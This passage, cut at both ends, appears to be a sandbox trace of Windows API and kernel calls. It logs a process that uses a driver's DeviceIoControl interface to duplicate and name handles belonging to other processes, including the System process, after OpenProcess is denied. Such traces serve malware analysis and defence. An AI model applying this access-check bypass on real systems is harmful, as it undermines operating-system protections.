(in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.671] CloseHandle (hObject=0xc0) returned 1 [0102.671] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x1e8) returned 0xc0 [0102.671] GetCurrentProcess () returned 0xffffffffffffffff [0102.671] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x170, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc8) returned 1 [0102.671] CloseHandle (hObject=0xc0) returned 1 [0102.671] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.672] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x78) returned 0x1a4c50 [0102.672] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x1a4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1a4c50, ReturnLength=0x0) returned 0x0 [0102.672] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a4c50 | out: hHeap=0x180000) returned 1 [0102.672] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.672] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0102.672] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.672] PsAcquireProcessExitSynchronization () returned 0x0 [0102.672] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff88004f095d0) [0102.672] ObReferenceObjectByHandle (in: Handle=0x170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800b6ae940, HandleInformation=0x0) returned 0x0 [0102.672] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.672] PsReleaseProcessExitSynchronization () returned 0x2 [0102.672] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3f [0102.672] ObQueryNameString (in: Object=0xfffffa800b6ae940, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.672] ObfDereferenceObject (Object=0xfffffa800b6ae940) returned 0xc [0102.672] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.672] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.672] CloseHandle (hObject=0xc8) returned 1 [0102.672] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0xc8 [0102.672] GetCurrentProcess () returned 0xffffffffffffffff [0102.672] DuplicateHandle (in: hSourceProcessHandle=0xc8, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0102.672] CloseHandle (hObject=0xc8) returned 1 [0102.672] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.672] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x88) returned 0x1bcb50 [0102.672] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1bcb50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x1bcb50, ReturnLength=0x0) returned 0x0 [0102.672] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1bcb50 | out: hHeap=0x180000) returned 1 [0102.672] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.672] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0102.672] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.672] PsAcquireProcessExitSynchronization () returned 0x0 [0102.673] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0102.673] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a004ab7080, HandleInformation=0x0) returned 0x0 [0102.673] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.673] PsReleaseProcessExitSynchronization () returned 0x2 [0102.673] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0102.673] ObQueryNameString (in: Object=0xfffff8a004ab7080, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.673] ObfDereferenceObject (Object=0xfffff8a004ab7080) returned 0x3 [0102.673] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.673] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.673] CloseHandle (hObject=0xc0) returned 1 [0102.673] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0102.673] GetLastError () returned 0x5 [0102.673] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335003c, lpInBuffer=0x12d400*, nInBufferSize=0x8, lpOutBuffer=0x12d408, nOutBufferSize=0x8, lpBytesReturned=0x12d390, lpOverlapped=0x0 | out: lpInBuffer=0x12d400*, lpOutBuffer=0x12d408*, lpBytesReturned=0x12d390*=0x8, lpOverlapped=0x0) returned 1 [0102.673] ZwOpenProcess (in: ProcessHandle=0xfffffa8003307340, DesiredAccess=0x10000000, ObjectAttributes=0xfffff88004f09688*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88004f09678*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffffa8003307340*=0xc0) returned 0x0 [0102.673] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.673] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350014, lpInBuffer=0x12d430*, nInBufferSize=0x20, lpOutBuffer=0x12d470, nOutBufferSize=0x8, lpBytesReturned=0x12d3d0, lpOverlapped=0x0 | out: lpInBuffer=0x12d430*, lpOutBuffer=0x12d470*, lpBytesReturned=0x12d3d0*=0x8, lpOverlapped=0x0) returned 1 [0102.673] ZwOpenProcess (in: ProcessHandle=0xfffff88004f095f0, DesiredAccess=0x40, ObjectAttributes=0xfffff88004f09608*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88004f095f8*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffff88004f095f0*=0xffffffff80000a34) returned 0x0 [0102.673] ZwDuplicateObject (in: SourceProcessHandle=0xffffffff80000a34, SourceHandle=0x424, TargetProcessHandle=0xffffffffffffffff, TargetHandle=0xfffffa8003307340, DesiredAccess=0xfffff88010000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0xfffffa8003307340*=0xc8) returned 0x0 [0102.673] ZwClose (Handle=0xffffffff80000a34) returned 0x0 [0102.673] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.673] CloseHandle (hObject=0xc0) returned 1 [0102.673] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.673] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x78) returned 0x1a4c50 [0102.673] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x1a4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1a4c50, ReturnLength=0x0) returned 0x0 [0102.673] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a4c50 | out: hHeap=0x180000) returned 1 [0102.674] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.674] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0102.674] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.674] PsAcquireProcessExitSynchronization () returned 0x0 [0102.674] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.674] ObReferenceObjectByHandle (in: Handle=0xffffffff80000424, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031f4990, HandleInformation=0x0) returned 0x0 [0102.674] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.674] PsReleaseProcessExitSynchronization () returned 0x2 [0102.674] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.674] ObQueryNameString (in: Object=0xfffffa80031f4990, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.674] ObfDereferenceObject (Object=0xfffffa80031f4990) returned 0x5 [0102.674] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.674] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.674] CloseHandle (hObject=0xc8) returned 1 [0102.674] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0102.674] GetLastError () returned 0x5 [0102.674] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335003c, lpInBuffer=0x12d400*, nInBufferSize=0x8, lpOutBuffer=0x12d408, nOutBufferSize=0x8, lpBytesReturned=0x12d390, lpOverlapped=0x0 | out: lpInBuffer=0x12d400*, lpOutBuffer=0x12d408*, lpBytesReturned=0x12d390*=0x8, lpOverlapped=0x0) returned 1 [0102.674] ZwOpenProcess (in: ProcessHandle=0xfffffa8003307340, DesiredAccess=0x10000000, ObjectAttributes=0xfffff88004f09688*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88004f09678*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffffa8003307340*=0xc8) returned 0x0 [0102.674] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.674] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350014, lpInBuffer=0x12d430*, nInBufferSize=0x20, lpOutBuffer=0x12d470, nOutBufferSize=0x8, lpBytesReturned=0x12d3d0, lpOverlapped=0x0 | out: lpInBuffer=0x12d430*, lpOutBuffer=0x12d470*, lpBytesReturned=0x12d3d0*=0x8, lpOverlapped=0x0) returned 1 [0102.674] ZwOpenProcess (in: ProcessHandle=0xfffff88004f095f0, DesiredAccess=0x40, ObjectAttributes=0xfffff88004f09608*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88004f095f8*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffff88004f095f0*=0xffffffff80000a34) returned 0x0 [0102.674] ZwDuplicateObject (in: SourceProcessHandle=0xffffffff80000a34, SourceHandle=0x420, TargetProcessHandle=0xffffffffffffffff, TargetHandle=0xfffffa8003307340, DesiredAccess=0xfffff88010000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0xfffffa8003307340*=0xc0) returned 0x0 [0102.674] ZwClose (Handle=0xffffffff80000a34) returned 0x0 [0102.674] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.674] CloseHandle (hObject=0xc8) returned 1 [0102.674] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.674] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x78) returned 0x1beb50 [0102.675] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1beb50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1beb50, ReturnLength=0x0) returned 0x0 [0102.675] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1beb50 | out: hHeap=0x180000) returned 1 [0102.675] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.675] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0102.675] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.675] PsAcquireProcessExitSynchronization () returned 0x0 [0102.675] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.675] ObReferenceObjectByHandle (in: Handle=0xffffffff80000420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800dbffad0, HandleInformation=0x0) returned 0x0 [0102.675] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.675] PsReleaseProcessExitSynchronization () returned 0x2 [0102.675] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.675] ObQueryNameString (in: Object=0xfffffa800dbffad0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.675] ObfDereferenceObject (Object=0xfffffa800dbffad0) returned 0x3 [0102.675] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.675] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.675] CloseHandle (hObject=0xc0) returned 1 [0102.675] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0102.675] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.675] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.675] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.675] PsAcquireProcessExitSynchronization () returned 0x0 [0102.675] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.675] ObReferenceObjectByHandle (in: Handle=0xffffffff8000004c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002af2460, HandleInformation=0x0) returned 0x0 [0102.675] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.675] PsReleaseProcessExitSynchronization () returned 0x2 [0102.675] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.675] ObQueryNameString (in: Object=0xfffffa8002af2460, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.675] ObfDereferenceObject (Object=0xfffffa8002af2460) returned 0x1 [0102.675] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.675] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.675] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.675] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.676] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.676] PsAcquireProcessExitSynchronization () returned 0x0 [0102.676] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.676] ObReferenceObjectByHandle (in: Handle=0xffffffff80000054, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002a567a0, HandleInformation=0x0) returned 0x0 [0102.676] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.676] PsReleaseProcessExitSynchronization () returned 0x2 [0102.676] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.676] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002514044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002514044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.676] ObfDereferenceObject (Object=0xfffffa8002a567a0) returned 0x1 [0102.676] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.676] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.676] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.676] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.676] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.676] PsAcquireProcessExitSynchronization () returned 0x0 [0102.676] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.676] ObReferenceObjectByHandle (in: Handle=0xffffffff80000060, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002c52f20, HandleInformation=0x0) returned 0x0 [0102.676] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.676] PsReleaseProcessExitSynchronization () returned 0x2 [0102.676] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.676] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.676] ObfDereferenceObject (Object=0xfffffa8002c52f20) returned 0x1 [0102.676] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.676] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.676] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.676] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.676] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.676] PsAcquireProcessExitSynchronization () returned 0x0 [0102.676] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.677] ObReferenceObjectByHandle (in: Handle=0xffffffff80000064, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002fc0050, HandleInformation=0x0) returned 0x0 [0102.677] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.677] PsReleaseProcessExitSynchronization () returned 0x2 [0102.677] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.677] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.677] ObfDereferenceObject (Object=0xfffffa8002fc0050) returned 0x1 [0102.677] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.677] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.677] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.677] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.677] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.677] PsAcquireProcessExitSynchronization () returned 0x0 [0102.677] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.677] ObReferenceObjectByHandle (in: Handle=0xffffffff80000068, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8004599f20, HandleInformation=0x0) returned 0x0 [0102.677] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.677] PsReleaseProcessExitSynchronization () returned 0x2 [0102.677] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.677] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.677] ObfDereferenceObject (Object=0xfffffa8004599f20) returned 0x1 [0102.677] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.677] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.677] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.677] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.677] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.677] PsAcquireProcessExitSynchronization () returned 0x0 [0102.677] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.677] ObReferenceObjectByHandle (in: Handle=0xffffffff8000006c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8005049050, HandleInformation=0x0) returned 0x0 [0102.677] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.677] PsReleaseProcessExitSynchronization () returned 0x2 [0102.677] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.677] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001edc044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001edc044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.677] ObfDereferenceObject (Object=0xfffffa8005049050) returned 0x1 [0102.678] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.678] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.678] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.678] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.678] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.678] PsAcquireProcessExitSynchronization () returned 0x0 [0102.678] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.678] ObReferenceObjectByHandle (in: Handle=0xffffffff80000070, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8005bfa050, HandleInformation=0x0) returned 0x0 [0102.678] KeUnstackDetachProcess 